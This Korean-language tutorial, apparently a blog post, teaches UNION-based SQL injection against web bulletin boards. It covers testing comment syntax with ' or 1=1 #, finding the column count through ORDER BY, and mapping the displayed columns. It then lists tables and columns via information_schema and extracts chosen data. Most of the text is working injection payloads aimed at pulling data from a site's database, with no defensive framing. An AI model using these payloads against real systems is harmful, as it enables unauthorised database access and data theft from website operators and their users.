유니온을 사용하기 전에 칼럼 갯수를 알필요가 있다.
그 전에 주석이 먹히는가도 알 필요가 있다.
게시판 등에 ' or 1=1 or ' 등의 쿼리가 먹혔다면 ' or 1=1 # , ' or 1=1 -- 을 날려보고 먹혀야지 UNION을 사용할 수 있다.
#, -- 등 주석이 먹혔다면 다음은 컬럼 갯수를 알아낼 필요가 있다
UNION에는 SELECT * 이 안먹힌다!
ORDER BY 를 사용한다.
' or 1=1 ORDER BY 1 #
찍어보자.
잘 나올것이다.
이제 order by 를 이용해서 총갯수를 알아내야 한다.
' or 1=1 ORDER BY 100 #
결과값이 안나올것이다. 컬럼이 100개나 될리가...
만약 나온다면
' or 1=1 ORDER BY 200#, ' or 1=1 ORDER BY 300 # 등 안나올때까지 찍는다.
아무튼 100개에서 안나왔다고 치면
' or 1=1 ORDER BY 50 #
찍어보고나오면
' or 1=1 ORDER BY 70 #
' or 1=1 ORDER BY 85 #
이러다 안나오면 다시 낮춰서
' or 1=1 ORDER BY 80 #
등 술게임 '업다운' 처럼 숫자를 맞춰서 칼럼수를 찾아낸다.
그렇게 알아낸 컬럼이 예를 들어 10개라면
(' or 1=1 ORDER BY 11# 에서 오류가 나고 ' or 1=1 ORDER BY 10 # 에서는 결과가 잘나오는 경우에 컬럼갯수가 10개이다.)
' or 1=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10 #
을 찍어본다.
테이블 결과가 너무 많다면
x34g' and 1=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10 #
이런 쓸데없는 나오지 않을것 같은 문구를 추가해 주고 검색한다.
그러면 테이블에
---------------------------
번호 제목 이름 날짜
1. 5 2 1
2. 5 2 1
---------------------------
이런식으로 나올거다.
여기에 제목, 이름, 날짜에 나온 5,2,1은 다음을 의미한다.
' or 1=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10 #
즉 내가 뽑고 싶은 내용은 1번,2번, 5번자리에 넣으면 나온다는 이야기이다.
하지만 난 아직 이 서버의 테이블과 칼럼 정보를 알지 못한다.
그것을 알아내야 한다.
union select 1,2,3,4,column_name,table_name,7,8,9,10 from information_schema.columns
유니온으로 쓰자면 이렇게 된다.
그러면 완성형은 아래이다.
' or 1=1 union select 1,2,3,4,column_name,table_name,7,8,9,10 from information_schema.columns
위 문을 날리면 결과는 아래 처럼 나올것이다.
---------------------------
번호 제목 이름 날짜
1. 칼럼명1 테이블이름1 1
2. 칼럼명2 테이블이름1 1
---------------------------
이제끝이다.
내가 뽑고 싶은 정보를 아래와 같이 넣으면 내가 원하는 결과가 나올것이다.
' or 1=1 union select 1,2,3,4,칼럼명1,칼럼명2,7,8,9,10 from 테이블이름1
나중에 유튜브 방송으로 자세히 알려주겠다.
PS. 너무 많이 나와서 DB가 뻗거나 보기 힘들다면?
' or 1=1 union select 1,2,3,4,3,table_name,7,8,9,10 from information_schema.tables
로 테이블 명만 알아낸 다음에
' or 1=1 union select 1,2,3,4,3,column_name,7,8,9,10 from information_schema.columns where table_name = '테이블이름'
이렇게 테이블과 칼럼명을 뽑을수도 있다